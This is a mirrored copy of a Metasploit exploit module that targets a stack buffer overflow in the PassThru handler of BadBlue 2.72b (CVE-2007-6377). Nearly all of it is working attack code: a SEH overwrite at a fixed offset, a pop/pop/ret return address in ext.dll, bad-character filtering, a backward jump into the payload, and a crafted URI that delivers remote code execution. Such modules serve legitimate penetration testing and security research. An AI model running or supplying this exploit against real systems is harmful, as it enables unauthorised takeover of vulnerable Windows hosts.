Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/badblue_passthru.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
10
# However, a proper Server header is returned when requesting /index.html or using HEAD.
11
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
12
13
include Msf::Exploit::Remote::HttpClient
14
include Msf::Exploit::Seh
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',
21
'Description' => %q{
22
This module exploits a stack buffer overflow in the PassThru
23
functionality in ext.dll in BadBlue 2.72b and earlier.
24
},
25
'Author' => [ 'MC' ],
26
'License' => MSF_LICENSE,
27
'References' => [
28
['CVE', '2007-6377'],
29
['OSVDB', '42416'],
30
['BID', '26803'],
31
],
32
'DefaultOptions' => {
33
'EXITFUNC' => 'thread',
34
},
35
'Privileged' => true,
36
'Payload' => {
37
'Space' => 750,
38
'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
39
'StackAdjustment' => -3500,
40
# 'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
41
'DisableNops' => true,
42
},
43
'Platform' => 'win',
44
'Targets' => [
45
# This is the version being distributed on badblue.com as of Jul 7th 2010
46
[ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
47
[ 'BadBlue 2.72b Universal', { 'Ret' => 0x10033f44 } ] # pop/pop/ret from ext.dll v1.0.0.1
48
],
49
'DefaultTarget' => 0,
50
'DisclosureDate' => '2007-12-10',
51
'Notes' => {
52
'Reliability' => UNKNOWN_RELIABILITY,
53
'Stability' => UNKNOWN_STABILITY,
54
'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
}
56
)
57
)
58
end
59
60
def exploit
61
seh_offset = 4116
62
# sploit = Rex::Text.pattern_create(seh_offset)
63
sploit = rand_text(seh_offset)
64
# Need to jump over the nul byte
65
seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
66
sploit << seh
67
68
plen = payload.encoded.length
69
sploit[seh_offset - 16 - plen, plen] = payload.encoded
70
71
# This pointer will force a crash when it is used in a lock instruction
72
ptr = rand_text(3)
73
ptr << [0x80 | rand(256)].pack('C')
74
sploit[seh_offset - 8, 4] = ptr
75
76
# These two bytes get corrupted, so we can't use them.
77
sploit << rand_text(2)
78
79
# jump back to the payload
80
distance = 2 + 8 + 16 + plen
81
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
82
83
# Build the final URI
84
uri = "/ext.dll?mfcisapicommand=PassThru&"
85
uri << sploit
86
87
print_status("Trying target %s..." % target.name)
88
send_request_raw({ 'uri' => uri }, 5)
89
90
handler
91
disconnect
92
end
93
end
94
95